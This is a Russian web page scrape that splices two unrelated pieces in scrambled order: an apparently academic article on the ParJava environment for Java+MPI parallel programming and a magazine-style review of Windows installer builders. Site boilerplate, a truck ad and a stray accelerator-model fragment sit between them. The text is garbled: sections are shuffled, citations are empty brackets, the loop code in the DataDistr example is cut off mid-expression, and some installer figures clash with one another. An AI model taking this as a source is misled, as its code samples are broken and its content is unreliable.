    Рис. 6. Сравнение исходной программы на языке FORTRAN77 c модифицированными программами на языке Java. Из графика видно, что при равных объемах данных первая модифицированная программа на Java работает в 1,5 раза быстрее, а вторая в 2-3 раза, при этом удалось сохранить точность расчета. Программа на Java, в точности соответствующая исходной программе на языке Фортран, требовала от 10 до 30% больше времени и имела аналогичную форму графика производительности. Исследование и модификация программы в среде ParJava позволило увеличить объем решаемой задачи с полным сохранением свойств модели. Модифицированная программа позволила смоделировать на 128 вычислителях кластера МСЦ фрагмент В-ДНК, состоящий из 150 пар нуклеотидов (15 витков двойной спирали, 9555 атомов) и водную оболочку, содержащую ионы Cl- и Na+.Ячейки, включавшая этот фрагмент, имела размер в 220A, и он содержал ~300 тысяч молекул воды. Время работы программы 9 часов, за это время над ионами и молекулами воды было произведено по 10000 элементарных испытаний. Более подробно результаты моделирования теплового движения молекул воды и ионов в присутствии фрагмента ДНК приводятся в работе [24].

    Направления дальнейших исследований

    В настоящем разделе рассматриваются дальнейшие работы по параллельному программированию. Ставится цель разработать методы и реализовать соответствующие инструментальные средства, позволяющие в автоматическом режиме выявлять потенциальный параллелизм, генерировать параллельный код и осуществлять доводку полученного кода с учетом особенностей выбранной аппаратуры (кластер, система с общей памятью, кластер с многоядерными узлами). Для анализа и трансформации гнезд циклов, в которых все индексные выражения и границы циклов задаются аффинными формами относительно индексов массивов, будет разработана инфраструктура, базирующаяся на декларативном представлении гнезд циклов в виде выпуклых многогранников в пространстве индексов. Такое представление существенно снижает накладные расходы на анализ и трансформацию гнезд циклов, так как позволяет выполнять их с помощью операций над матрицами. В составе инфраструктуры будет реализован набор методов (API), реализующих семь базовых трансформаций циклов (любая трансформация цикла является их суперпозицией), а также методы, позволяющие определять зависимости по данным, выявлять шаблоны доступа к памяти, вычислять границы циклов при изменении порядка циклов в гнезде и др. Кроме того, будет разработана и реализована подсистема преобразования императивного представления (байт код) программы в декларативное, а также подсистема преобразования декларативного представления в параллельные программы для систем с распределенной памятью (Java+MPI) или для систем с общей памятью (Java-треды). Будет исследован круг вопросов связанных с генерацией эффективного кода в модели, когда каждый процесс MPI является многотредовым. Будет проведен сравнительный анализ такой реализации с реализацией на Java+MPI на кластерах с многоядерными узлами. Будет разработан инструмент, позволяющий в автоматическом режиме подбирать коммуникационные примитивов с использованием методики, рассмотренной в разделе 2. В основе инструмента многократная интерпретация модели разрабатываемой параллельной программы.
    Для обеспечения многократной интерпретации в приемлемое время будет реализована возможность автоматической генерации «скелета» реального приложения. Будут исследованы произвольные (не аффинные) гнезда циклов и разработаны инструментальные средства, позволяющие распараллеливать их в диалоговом режиме: инструмент для выяснения наличия зависимостей по данным между итерациями цикла с помощью синтетического Омега-теста и инструменты для вычисления вектора направлений и вектора расстояний между, характеризующих зависимости между итерациями гнезда циклов. В последнее время получили распространение специализированные устройства, обеспечивающие высокую степень параллелизма. Одним из классов таких устройств являются графические акселераторы. При стоимости и энергопотреблении, сравнимыми с процессорами архитектуры x86-64, они превосходят их по пиковой производительности на операциях с плавающей точкой и пропускной способности памяти приблизительно на порядок. Большой интерес вызывают исследования возможности использования неоднородных вычислительных архитектур, включающих универсальные процессоры и акселераторы для решения задач, не связанных непосредственно с обработкой графики. Для разработки программ для таких гибридных систем в настоящее время используется модель программирования CUDA, первоначально разработанная для акселераторов Nvidia. Она точно отражает организацию оборудования, что позволяет создавать эффективные программы, но в то же время требует от разработчика хорошего понимания архитектуры акселератора, а перенос существующего кода для выполнения на акселераторе с помощью CUDA обычно требует значительных модификаций. Соответственно, актуальной является задача разработки технологий компиляции, позволяющих упростить написание эффективных программ и перенос существующего кода на графические акселераторы. Для этого предлагается определить набор прагм, позволяющих выделить участки кода, которые должны быть скомпилированы для выполнения на акселераторе. Чтобы быть разумной альтернативой более низкоуровневым средствам, такой набор расширений должен быть достаточно гибким, чтобы позволять улучшать производительность кода за счёт тонкой настройки конфигурации потоков выполнения и распределения данных в иерархии памяти акселератора.В то же время, реализованные средства должны позволять последовательный перенос программного кода на акселератор с минимальными изменениями в исходных кодах и процессе компиляции. Реализацию предлагается осуществить в компиляторе GCC, который является де-факто стандартным компилятором для операционной системы Linux, поддерживает несколько входных языков (C, C++, Fortran, Java, Ada и другие) и позволяет генерировать код для множества архитектур. В GCC уже реализованы OpenMP 3.0 и система анализа зависимостей и трансформации циклов GRAPHITE, что является существенной частью необходимой для такого проекта инфраструктуры.

    Обеспечение высокопродуктивного программирования для современных параллельных платформ

    , , , http://www.ispras.ru/groups/ctt/parjava.html
    Труды Института системного программирования РАН
    , , , http://www.ispras.ru/groups/ctt/parjava.html
    Труды Института системного программирования РАН


    , , , http://www.ispras.ru/groups/ctt/parjava.html
    Труды Института системного программирования РАН Аннотация. В настоящей статье описываются некоторые перспективные направления исследований по высокопродуктивному программированию для параллельных систем с распределенной памятью, проводимые в отделе компиляторных технологий Института системного программирования РАН. Обсуждаются текущие исследования и направления будущих работ, связанных с высокопродуктивным программированием многоядерных и гетерогенных систем.

    Приложения среды ParJava

    В этом разделе описываются результаты применения разработанной методологии поддержки разработки параллельных программ на примере создания программ моделирования интенсивных атмосферных вихрей (ИАВ) и моделирования теплового движения молекул воды и ионов в присутствии фрагмента ДНК.

    Реализация стандартной библиотеки MPI для окружения Java

    Первой задачей, которую было необходимо решить при разработке среды ParJava, была эффективная реализация стандартной библиотеки MPI для окружения Java. В настоящее время известно несколько реализаций библиотеки MPI для окружения Java, но ни одна из этих реализаций не обеспечивает достаточно эффективных обменов данными. Кроме того, в них реализованы не все функции библиотеки MPI. Поэтому для среды ParJava была разработана оригинальная реализация библиотеки MPI для окружения Java – библиотека mpiJava. В настоящее время в библиотеке mpiJava поддерживаются все функции стандарта MPI 1.1, а также параллельные операции ввода-вывода из стандарта MPI 2. Библиотека mpiJava реализована путем «привязки» (binding) к существующим реализациям библиотеки MPI с помощью интерфейса JNI по аналогии с «привязкой» для C++, описанной в стандарте MPI 2. Начиная с версии 1.4, в Java поддерживаются прямые буферы, содержимое которых может находиться в памяти операционной системы (вне кучи Java). Использование прямых буферов при передаче данных позволяет избежать лишних копирований данных. Это позволяет сократить накладные расходы на передачу данных.

    Средства разработки параллельных приложений в среде Java

    Среда ParJava позволяет выполнять большую часть разработки параллельной Java-программы на инструментальном компьютере. Для этого используется модель параллельной Java-программы [], интерпретируя которую на инструментальном компьютере можно получить оценки времени выполнения программы на заданном кластере (кластер определяется числом узлов, параметрами платформы, используемой в качестве его узлов, и параметрами его коммуникационной сети), а также оценки других динамических атрибутов программы, построить модели ее профилей и трасс. Полученная информация о динамических свойствах параллельной программы позволяет оценить границы ее области масштабируемости, помогает прикладному программисту вручную оптимизировать программу, проверяя на интерпретаторе, как отразились произведенные изменения на ее масштабируемости. Возможность использования инструментального компьютера для оптимизации и доводки параллельной программы избавляет программиста от большей части отладочных запусков программы на целевой вычислительной системе, сокращая период отладки и доводки программы.

    Технологический процесс разработки параллельных программ в среде ParJava

    В рамках среды ParJava разработан и реализован ряд инструментальных средств, которые интегрированы с открытой средой разработки Java-программ Eclipse []. После подключения этих инструментальных средств к Eclipse, получилась единая среда разработки SPMD-программ, включающая как инструменты среды ParJava, так и инструменты среды Eclipse: текстовый редактор, возможность создания и ведения проектов, возможность инкрементальной трансляции исходной программы во внутреннее представление. Интеграция в среду Eclipse осуществлена с помощью механизма «подключаемых модулей». При разработке параллельной программы по последовательной программе сначала оценивается доля последовательных вычислений, что позволяет (с помощью инструмента “Speed-up”) получить оценку максимального потенциально достижимого ускорения в предположении, что все циклы, отмеченные прикладным программистом, могут быть распараллелены. Затем с использованием инструмента “Loop Analyzer” среды ParJava циклы исследуются на возможность их распараллелить. Для распараллеленных циклов с помощью инструмента “DataDistr” подбирается оптимальное распределение данных по узлам вычислительной сети. В частности, для гнезд циклов, в которых все индексные выражения и все границы циклов заданы аффинными формами, инструмент “DataDistr” позволяет с помощью алгоритма [] найти такое распределение итераций циклов по процессорам, при котором не требуется синхронизаций (обменов данными), если, конечно, требуемое распределение существует (см. ниже пример 1). В этом случае инструмент “DataDistr” выясняет, можно ли так распределить итерации цикла по узлам, чтобы любые два обращения к одному и тому же элементу массива попали на один и тот же процессор. Для этого методом ветвей и сечений находится решение задачи целочисленного линейного программирования, в которую входят ограничения на переменные циклов, связанные с необходимостью оставаться внутри границ циклов, и условия попадания на один и тот же процессор для всех пар обращений к одинаковым элементам массива.
    Задача решается относительно номеров процессоров, причем для удобства процессоры нумеруются с помощью аффинных форм (т.е. рассматривается многомерный массив процессоров). Если оказывается, что для обеспечения сформулированных условий все данные должны попасть на один процессор, это означает, что цикл не может выполняться параллельно без синхронизации. В последнем случае инструмент “DataDistr” может в диалоговом режиме найти распределение данных по узлам, требующее минимального числа синхронизаций при обменах данными. Для этого к условиям сформулированной задачи линейного программирования добавляются условия на время обращений к одним и тем же элементам массива: например, в случае прямой зависимости, требуется, чтобы обращение по записи выполнялось раньше, чем обращение по чтению. В частности, при решении дополнительных временных ограничений, может оказаться, что они могут быть выполнены, если обрабатываемые в программе массивы будут разбиты на блоки. При этом смежные блоки должны быть распределены по процессорам «с перекрытием», чтобы все необходимые данные были на каждом из процессоров. При этом возникают так называемые теневые грани (т.е. части массива, используемые на данном процессоре, а вычисляемые на соседнем процессоре). Ширина теневых граней определяется алгоритмом решения задачи и определяет фактический объем передаваемых в сети сообщений. Количество теневых граней зависит выбора способа нумерации процессоров: априорно выгоднее всего, чтобы размерность массива процессоров совпадала с размерностью обрабатываемых массивов данных. Однако в некоторых случаях оказывается более выгодным, чтобы размерность массива процессоров была меньше, чем размерность обрабатываемых массивов данных. Пример 1. В качестве примера работы инструмента “DataDistr” рассмотрим цикл: for (i = 1; i Для приведенного примера инструмент “DataDistr” выдаст следующее распределение: X[1,100] = X[1,100] + Y[0,100]; /*s1*/ for (p = -99; p = 0) Y[p+l,l] = X[p+l,0] + Y[p+l,l]; /*s2*/ for (i = max(l,p+2); i где p – номер вычислителя, а цикл по p определяет распределение данных по вычислителям.


    Таким образом, исходный цикл расщепился на 200 цепочек вычислений, каждая из которых может выполняться независимо. После того, как данные распределены по вычислителям, прикладному программисту необходимо выбрать такие операции обмена данными и так трансформировать свою программу, чтобы добиться максимально возможного перекрытия вычислений и обменов данными. Среда ParJava позволяет решать этот вопрос в диалоговом режиме, используя интерпретатор параллельных программ (инструмент “Interpreter”). В тривиальных случаях даже использование стандартных коммуникационных функций (MPI_send, MPI_receive) позволяет достичь достаточного уровня масштабируемости. Однако, в большинстве случаев это невозможно, так как приводит к большим накладным расходам на коммуникации, а это в соответствии с законом Амдаля существенно урезает масштабируемость. Достичь перекрытия вычислений и обменов для некоторых классов задач позволяет использование коммуникационных функций MPI_Isend, MPI_Ireceive совместно с функциями MPI_Wait и MPI_Test. Это поясняется примером 2. Пример 2. Как видно из схемы на рис. 1, необходимо добиться, чтобы во время передачи данных сетевым процессором (промежуток между моментами времени
    Рис. 1. Схема передачи данных MPI Подбор оптимальных коммуникационных функций требует многочисленных интерпретаций различных версий разрабатываемой программы. Для ускорения этого процесса строится «скелет» программы и все преобразования делаются над ним. После достижения необходимых параметров параллельной программы автоматически генерируется вариант программы в соответствии с полученным коммуникационным шаблоном. Проиллюстрировать важность оптимального выбора операций пересылок можно на следующем «скелете» реальной программы моделирования торнадо (рис. 2а). Если в рассматриваемом «скелете» заменить блокирующие операции Send и Recv на неблокирующие и установить соответствующую операцию Wait после гнезда циклов получится «скелет», представленный на рис. 2б.


    На рис. 3 приведены графики ускорения «скелетов» программы представленного на рис. 2а и 2б. Как видно, такая замена существенно расширила область масштабируемости программы. При этом окончательная версия «скелета», удовлетворяющая требованиям прикладного программиста, используется для построения трансформированной исходной программы.
    Рис. 2. Схематичное изображение алгоритмов с блокирующими и неблокирующими пересылками К сожалению, в большинстве реальных программ такими простыми преобразованиями не удается достичь необходимого уровня перекрытия, либо такое преобразование невозможно. Использование предлагаемой технологии обеспечивает возможность применения различных преобразований программы, и достигать необходимых параметров программы в приемлемое время. Этот процесс отладки и оптимизации параллельной программы показывает, что задача сама по себе неформализована. На сегодняшний день не может быть реализован компилятор, делающий оптимизацию автоматически, т.к. в некоторых точках процесса программист обязан принимать волевые решения.
    Рис. 3. Сравнение масштабируемости параллельных программ, использующих блокирующие и неблокирующие пересылки На следующем этапе, необходимо проинтерпретировать полученную программу на реальных данных, для того чтобы оценить, какое количество вычислителей будет оптимальным для счета. Для этого снова используется инструмент «Inerpreter». Поскольку интерпретатор использует смешанную технику, включающую в себя элементы прямого выполнения, довольно остро стоит проблема нехватки памяти на инструментальной машине. Моделирование некоторых серьёзных программ требует использования довольно больших массивов данных, которые не могут быть размещены в памяти одного вычислительного узла. Для решения этой проблемы проводится преобразование модели, представляющее собой удаление выражений программы, значение которых не влияет на поток управления. Это позволяет качественно изменить требования по памяти, в том числе существенно сократив время интерпретации. Таким образом, инструментальные средства среды ParJava позволяют реализовать технологический процесс, обеспечивающий итеративную разработку параллельной программы.Отметим, что итеративная разработка предполагает достаточно большое число итераций, что может привести к большим накладным расходам по времени разработки и ресурсам. Итеративная разработка реальных программ, предлагаемая в рамках ParJava, возможна благодаря тому, что большая часть процесса выполняется на инструментальном компьютере, в том числе за счет использования инструментов, базирующихся на интерпретаторе параллельных программ. Применение интерпретатора позволяет достаточно точно оценивать ускорение программы. Ошибка на реальных приложениях не превосходила 10%, и в среднем составила ~5% [36-44]. Окончательные значения параметров параллельной программы можно уточнить при помощи отладочных запусков на целевой аппаратуре.

    к тому, что одним из

    Развитие компьютерных и сетевых технологий привело к тому, что одним из основных свойств современных вычислительных систем является параллелизм на всех уровнях. Происходит широкое внедрение кластерных систем (распределенная память) с тысячами процессоров. Началось широкое производство многоядерных процессоров общего назначения, Современные многоядерные процессоры имеют не более 16 ядер, однако производители уже серьезно говорят о нескольких сотнях и даже тысячах ядер []. Кроме того, выпускаются специализированные процессоры, содержащие сотни параллельно работающих ядер на одном чипе (графические акселераторы компаний AMD и nVidia). Высокая производительность, низкое энергопотребление и низкая стоимость специализированных многоядерных процессоров (как правило, это процессоры для компьютерных игр) способствовали стремлению использовать их не только по их прямому назначению. Начались исследования возможностей широкого применения гетерогенных архитектур, состоящих из процессора общего назначения и набора специализированных многоядерных процессоров (акселераторов) для решения вычислительных задач общего назначения. Акселератор имеет доступ как к своей собственной памяти, так и к общей памяти гетерогенной системы. Примерами таких архитектур являются: архитектура IBM Cell, архитектуры, использующие графические акселераторы компаний AMD и nVidia, многоядерный графический ускоритель Larrabee компании Intel. Остро встал вопрос о языках параллельного программирования, которые могли бы обеспечить достаточно высокую производительность труда программистов, разрабатывающих параллельные приложения. Однако языки, разработанные в 90-е годы (HPF [], UPC [] и др.) не смогли решить эту проблему []. Это привело к тому, что промышленную разработку прикладных параллельных программ, обеспечивающих необходимое качество, приходится вести, на так называемом «ассемблерном» уровне, на последовательных языках программирования (C/C++, Fortran), разработанных в 60-70 гг., с явным использованием обращений к коммуникационной библиотеке MPI (для систем с распределенной памятью), явным указанием прагм OpenMP (для систем с общей памятью), с использованием технологии программирования CUDA [] (расширение языка C для акселераторов Nvidia), которая точно отражает организацию оборудования, что позволяет создавать эффективные программы, но требует высокого уровня понимания архитектуры акселератора и др. Таким образом, в настоящее время параллельное программирование связано с ручной доводкой программ (распределение данных, шаблоны коммуникаций, либо синхронизации доступа к критическим данным и т.п.).
    Это связано со значительными затратами ресурсов и требует высокой квалификации прикладных программистов. Цена, которую нужно заплатить, чтобы добиться хорошей производительности и требуемой степени масштабируемости приложений, часто оказывается непомерно высокой. Поэтому целью современных исследований является фундаментальная проблема высокой продуктивности [] разработки параллельных приложений, когда обеспечивается достаточный уровень производительности при приемлемом уровне затрат на разработку. Это особенно актуально в связи с тем, что параллельное программирование становится массовым. Исследования ведутся по многим направлениям: изучаются свойства приложений, делаются попытки классификации приложений, в том числе для выявления в них общих ядер; исследуются свойства аппаратуры с целью максимального их использования и развития; ведутся исследования и разработки по целому спектру средств программирования. Одним из направлений исследований является разработка языков нового поколения (X10 [], Chapel [], Fortress [], Cilk [], Brook+ [] и др.). Несмотря на то, что эти разработки опираются на опыт предыдущих лет, пока они не привели к успеху, прежде всего, из-за недостаточного уровня современных компиляторных технологий. Реализуются как промышленные, так и исследовательские, системы, поддерживающие доводку программ разрабатываемых на «ассемблерном» уровне. К настоящему времени известно несколько таких систем: отладчики DDT [], TotalView [], система TAU [], разработанная в университете штата Орегон и др. Одним из таких средств является интегрированная среда ParJava [], разработанная в ИСП РАН, которая предоставляет прикладному программисту набор инструментальных средств, поддерживающих разработку параллельных программ для вычислительных систем с распределенной памятью (высокопроизводительных кластеров) на языке Java, расширенном стандартной библиотекой передачи сообщений MPI. В настоящее время среда Java представляет значительный интерес с точки зрения высокопроизводительных вычислений.


    Это связано как с положи- тельными свойствами Java как среды разработки прикладных программ (переносимость, простота отладки и др.), так и с тем, что использование инфраструктуры Java существенно упрощает разработку инструментальных средств. Можно упомянуть такие системы как: ProActive Parallel Suite [] (INRIA), MPJ Express [] (University of Reading and University of Southampton), Distributed Parallel Programming Environment for Java [] (IBM) и др. Кроме того, добавлена поддержка Java + MPI в известной среде разработки параллельных программ на языках C/C++ и Fortran 77/90 TAU. В проекте ParJava решались две задачи: обеспечить возможность эффективного выполнения параллельных программ на языке Java с явными обращениями к MPI на высокопроизводительных кластерных системах и разработать технологический процесс реализации параллельных программ, обеспечивающий возможность переноса как можно большей части разработки на инструментальный компьютер. В настоящей статье описываются некоторые перспективные направления исследований по высокопродуктивному программированию для параллельных систем с распределенной памятью, проводимые в отделе компиляторных технологий Института системного программирования РАН. Обсуждаются текущие исследования и направления будущих работ, связанных с высоко-продуктивным программированием многоядерных и гетерогенных систем. Статья состоит из 4 разделов. В разделе 2 описывается среда ParJava, модель параллельной Java-программы и возможности ее интерпретации, технологический процесс разработки программ в среде ParJava, механизмы времени выполнения. В разделе 3 приводятся результаты применения среды при разработке программ моделирования интенсивных атмосферных вихрей (ИАВ) и моделирования теплового движения молекул воды и ионов в присутствии фрагмента ДНК. В разделе 4 обсуждаются направления дальнейших исследований.

    Средства разработки приложений

    Inno Setup

    Далее в нашем хит-параде — Inno Setup. Это небольшой (1,1 Мб - дистрибутив, 2 Мб - в установке), но очень шустрый (а главное, бесплатный) продукт. Разработчик - Jordan Russel (http://www.jrsoftware.org/isdl.php). Inno Setup
    Рис 7. Режим редактирования скрипта в Inno Setup Inno Setup может стать хорошим решением для распространения совсем простых программ. Имеет 2 режима - мастер установки и редактирование скрипта (рис. 7). Позволяет показать файл лицензии, добавить ярлык нашей программы в меню Пуск и на рабочий стол, запустить программу после установки, но не может работать с реестром. За 2 минуты (в нем действительно просто разобраться!) Inno Setup создал файл setup.exe - дистрибутив нашей программки размером 700 Кб. Но, к сожалению, он справился не со всеми пунктами поставленной задачи.

    InstallShield for Windows Installer

    Среди разработчиков особую популярность приобрел InstallShield for Windows Installer (см. рис. 1). У этого продукта понятный интерфейс, подсказки на каждом шагу, да и занимает он на жестком диске всего 66 Mб. InstallShield for Windows Installer
    Рис 1. Секция Release в InstallShield for Windows Installer Мастера в InstallShield for Windows Installer удобны и продвинуты; кроме того, предусмотрена возможность изменения настроек дистрибутива в следующих секциях раздела Workspace:
  • Project (общие настройки проекта, пути, переменные проекта, строковые ресурсы инсталлятора);
  • Setup Design (файлы, включенные в проект (см. рис. 2), пути реестра, ярлыки, регистрация COM-объектов и типов файлов, управление службами Windows NT);
  • Sequences (последовательность инсталляции);
  • Actions/Scripts (комментарии к действиям, добавление скриптов);
  • User Interface (настройка интерфейса: диалогов и сообщений);
  • Release — результат (дистрибутивы и log-файлы их создания (рис. 1); подстройка под физический носитель (сеть, компакт-диск), посредством которого будет распространяться приложение; языки интерфейса). InstallShield for Windows Installer
    Рис 2. Секция Setup Design в InstallShield for Windows Installer Мастер (wizard) создания дистрибутива (кстати, достаточно длинный: 11 шагов, в каждом из которых несколько настроек) справился с поставленной задачей. Дистрибутив InS занял 872 Mб (с компрессией, без модулей MSI).

    InstallShield Professional

    Наиболее весомое (267 Mб в полной установке) и наиболее сложное средство создания дистрибутивов. InstallShield Professional 6.2 (рис. 3) имеет собственный скриптовый язык, большое количество настроек и предназначен для создания дистрибутивов крупных корпоративных приложений. InstallShield Professional
    Рис 3. Вкладка скриптов и файл Setup.rul в InstallShield Professional При создании нового проекта основную работу (как и в случае с предыдущим продуктом) можно поручить мастеру - для обычного проекта или для проекта Visual Basic. Мастер задаст много вопросов, потом немного попыхтит и, в конце концов, покажет проект инсталляции, скомпилировав который, мы и получим дистрибутив. На левой панели InstallShield Professional видны семь вкладок, каждая из которых отвечает за свою группу настроек инсталляции:
  • Scripts - здесь находится основной скрипт процесса инсталляции - файл setup.rul, который можно создать с помощью мастера, а после редактировать вручную, отлаживать и компилировать. Скриптовый язык InstallShield немного похож на VB, но вполне поддается пониманию;
  • File Groups - на этой вкладке в проект добавляются файлы: исполняемые, библиотеки, файлы помощи и примеров;
  • Components - здесь перечислены компоненты проекта. Они обязательно должны включать группы файлов из предыдущего раздела;
  • Setup Types - тут описываются типы установки (компактная, обычная, пользовательская) и то, какие компоненты из предыдущего раздела включаются в каждый тип установки;
  • Setup Files - здесь перечислены файлы, включенные в инсталляцию, настраиваются зависимости от операционной системы и языка. Тут же можно отредактировать или заменить заставку;
  • Resources - ресурсные файлы инсталляции: таблица переменных проекта (для каждого языка своя), записи в реестр, включение в меню Пуск => Программы => Автозагрузка, добавление объектов различных сред исполнения;
  • Media - на этой вкладке находится результат нашей работы: дистрибутив, файлы журнала и отчета (см. рис. 4). Широко варьируется способ распространения дистрибутива: на компакт-диске, дискетах 3,5", через интернет и пр. InstallShield Professional
    Рис 4. Состав дистрибутива, файлы журнала и отчета в InstallShield ProfessionalРазмер дистрибутива InS занял 2 Mб.

    Программа компании MJK Software Writers,

    Программа компании MJK Software Writers, Inc (http://www.mjksw.com) сразу очаровывает приятным и нестандартным интерфейсом (рис. 8). Программа компании MJK Software Writers,
    Рис 8. Кнопка Main Screen в Quick Install Maker 2000 Большие и с красивыми рисунками кнопки расположены удобно; ничего лишнего (кроме назойливых приглашений зарегистрироваться) нет. Четыре правые кнопки отвечают за следующие аспекты создания инсталляции:
  • Main Screen - настройка внешнего вида инсталляции нашего приложения: фон или изображение на экране, надписи, а также начальные параметры установки (рис. 8);
  • Install Files - включение в инсталляцию файлов, добавление ярлыков на рабочий стол и в меню Пуск * Программы;
  • INI\REG - добавление ключей реестра или INI-файла, строк в файлы autoexec.bat и config.sys;
  • Disk Builder - создание дистрибутива, его архивирование и копирование на дискеты (рис. 9). Программа компании MJK Software Writers,
    Рис 9. Кнопка Disk Builder в Quick Install Maker 2000 Демо-версия Quick Install Maker 2000, которую можно загрузить с сайта производителя, весит 2,2 Мб, а установка программы занимает 2,8 Мб. Дистрибутив InS занял 754 Kб, с поставленной задачей справился полностью. Правда, при установке несколько раз сообщил о том, что он не зарегистрирован и вообще является демо-версией. Конечно, инсталляторов существует намного больше, чем рассмотрено в этой статье. Бесплатные и условно-бесплатные продукты различных компаний и отдельных разработчиков можно загрузить с сервера или . Если уж на то пошло, инсталлятор можно написать самостоятельно. document.write('');
    Программа компании MJK Software Writers, Программа компании MJK Software Writers,
    Новости мира IT:
  • 02.08 -
  • 02.08 -
  • 02.08 -
  • 02.08 -
  • 02.08 -
  • 01.08 -
  • 01.08 -
  • 01.08 -
  • 01.08 -
  • 01.08 -
  • 01.08 -
  • 01.08 -
  • 01.08 -
  • 01.08 -
  • 01.08 -
  • 31.07 -
  • 31.07 -
  • 31.07 -
  • 31.07 -
  • 31.07 - Архив новостей
  • Последние комментарии: (66)
    2 Август, 17:53 (19)
    2 Август, 17:51 (34)
    2 Август, 15:40 (42)
    2 Август, 15:35 (1)
    2 Август, 14:54 (3)
    2 Август, 14:34 (3)
    2 Август, 14:15 (2)
    2 Август, 13:34 (7)
    2 Август, 13:04 (3)
    2 Август, 12:28
    BrainBoard.ru
    Море работы для программистов, сисадминов, вебмастеров.
    Иди и выбирай!
    Loading google.load('search', '1', {language : 'ru'}); google.setOnLoadCallback(function() { var customSearchControl = new google.search.CustomSearchControl('018117224161927867877:xbac02ystjy'); customSearchControl.setResultSetSize(google.search.Search.FILTERED_CSE_RESULTSET); customSearchControl.draw('cse'); }, true);

    Программа компании MJK Software Writers, Программа компании MJK Software Writers,









    Программа компании MJK Software Writers, This Web server launched on February 24, 1997
    Copyright © 1997-2000 CIT, © 2001-2009
    Внимание! Любой из материалов, опубликованных на этом сервере, не может быть воспроизведен в какой бы то ни было форме и какими бы то ни было средствами без письменного разрешения владельцев авторских прав.
    Предлагаем на продажу новейшие модели грузовиков по очень интересным ценам, приезжайте!



    Семейство InstallShield

    Одним из гигантов производства инсталляторов (причем гигантов в мировом масштабе) признана компания InstallShield. На ее сайте (http://www.installshield.com) представлена целая линейка этих продуктов - различных по сложности и стоимости (кстати, после регистрации можно получить пробную 30-дневную версию:
  • InstallShield Developer (поддержка распараллеленной установки, интеграция с Visual Studio .NET, создание патчей, визуальный редактор диалогов, контроль исходного кода);
  • InstallShield Professional (скриптовый язык, средства отладки, многочисленные настройки пользовательского интерфейса, возможность создания дистрибутивов под Web);
  • InstallShield Express - облегченная версия, простая в использовании, поставляется с Delphi 5 и Visual Studio 6;
  • InstallShield MultiPlatform (поддержка Linux, Solaris, HP-UX, AIX, OS/2, Windows и OS/400, функционирование на основе Java VM);
  • InstallShield AdminStudio (системное администрирование, управление рабочим процессом, разрешение конфликта приложений, поддержка модулей MSI (Microsoft Installer));
  • InstallShield DemoShield - средство создания итерактивных презентаций, каталогов на компакт-диске;
  • InstallShield Update Service - инструмент для создания и управления обновлениями программного обеспечения на компьютерах клиентов;
  • InstallShield Package for the Web - средство для распространения приложений через интернет, для доставки и цифровой подписи интернет-модулей.

    Такие разные инсталляторы

    Татьяна Михно, Конечный пользователь — нежен и привередлив, ему приятно, когда программа сама устанавливается на его компьютер и радостно сообщает о своей готовности к работе Поговорим о верных помощниках разработчика - инсталляторах, программах, которые умеют создавать дистрибутив приложения. Дистрибутивы обычно занимаются установкой приложения на компьютер пользователя, а в случае необходимости - переустановкой или удалением. Для сравнения инсталляторов воспользуемся приложением Ins - это простенький текстовый редактор, за 10 минут созданный в MS Visual C++, MFC. Он состоит из двух файлов: C:\InS.src\ins.exe и C:\InS.src\mfc42.dll. Чтобы корректно установить его на другой компьютер, нужно:
  • скопировать исполняемый файл ins.exe на жесткий диск;
  • скопировать в системный каталог Windows файл библиотеки MFC mfc42.dll;
  • прописать в системном реестре каталог установки и текущий каталог редактора;
  • создать каталог С:\Мои документы - текущий каталог редактора по умолчанию;
  • создать ярлык для запуска Ins на рабочем столе и в меню Пуск => Программы панели задач. Несмотря на то что опытный программист может проделать это без посторонней помощи, давайте все же проследим, как с этой задачей справятся различные инсталляторы.

    Wise InstallMaster

    Wise InstallMaster 8.1 - произведение компании Wise Solutions (http://www.wise.com) - обладает не меньшей функциональностью, чем предыдущий продукт. Однако его интерфейс (рис. 5) более понятен простому человеку. Wise InstallMaster
    Рис 5. Начало создания дистрибутива в Wise InstallMaster Процесс создания дистрибутива разбит на 6 этапов: 1. files and components - задается список файлов и компонент, составляющих наше приложение. В этом разделе нужно указать, откуда и какие файлы помещать в дистрибутив, куда их класть при инсталляции. Задаются также настройки для патчей, деинсталляции, шрифтов, сред исполнения (runtime) Visual Basic, Visual Foxpro, BDE, Crystall Reports, Windows и баз данных; 2. system additions - в этом разделе задаются настройки для иконок, ключей реестра, INI-файлов и регистрации типов файлов Windows. Здесь же добавляются службы Windows NT и устройства Windows 3.1х и 9х, необходимые для работы приложения. Кроме того, задаются изменения, которые необходимо добавить в файлы autoexec.bat и config.sys, а также информация о том, в каком каталоге создавать log-файл инсталляции нашего приложения; 3. user system checks - этот раздел отвечает за системные требования нашего приложения к компьютеру пользователя и ранее установленные версии нашего приложения; 4. wizard appearance - в этом разделе описывается, как будет выглядеть процесс инсталляции. Редактированию поддаются фон и диалоговые окна, можно добавить свою рекламу, которая будет показываться в процессе инсталляции; 5. advanced functionality - в раздел включены возможности защиты дистрибутива паролем, online-регистрации и поддержки Windows CE; 6. finish - здесь указывается, в каком виде будет создан дистрибутив (в одном файле или в нескольких), и создавать ли CAB-файл. В этом же разделе находятся настройки для распространения приложения через интернет, контроля версий и специальные настройки для установки и удаления в Windows 2000. Скрипт создания дистрибутива в Wise можно редактировать, как показано на рис. 6. Wise InstallMaster
    Рис 6. Редактирование скрипта в Wise InstallMaster Дистрибутив приложения InS, созданный в Wise, занял 600 Kб. Следует заметить, что с сайта компании-изготовителя можно загрузить не только 30-дневную демонстрационную версию инсталлятора под Windows, но и надстройки для нескольких сред исполнения (runtime) и руководство пользователя. Дистрибутив Wise InstallMaster 8.1 занимает 9 Мб, а после установки на жесткий диск - 15,5 Мб.

    Средства разработки приложений

    Абстрактная модель акселератора

    В нашей модели акселератор является сопроцессором, команды которому выдаются основным процессором. Акселератор работает синхронно с процессором. Акселератор может иметь собственную локальную память и имеет доступ к общей памяти между процессором и всеми акселераторами.

    Ассемблерный синтаксис команд акселератора

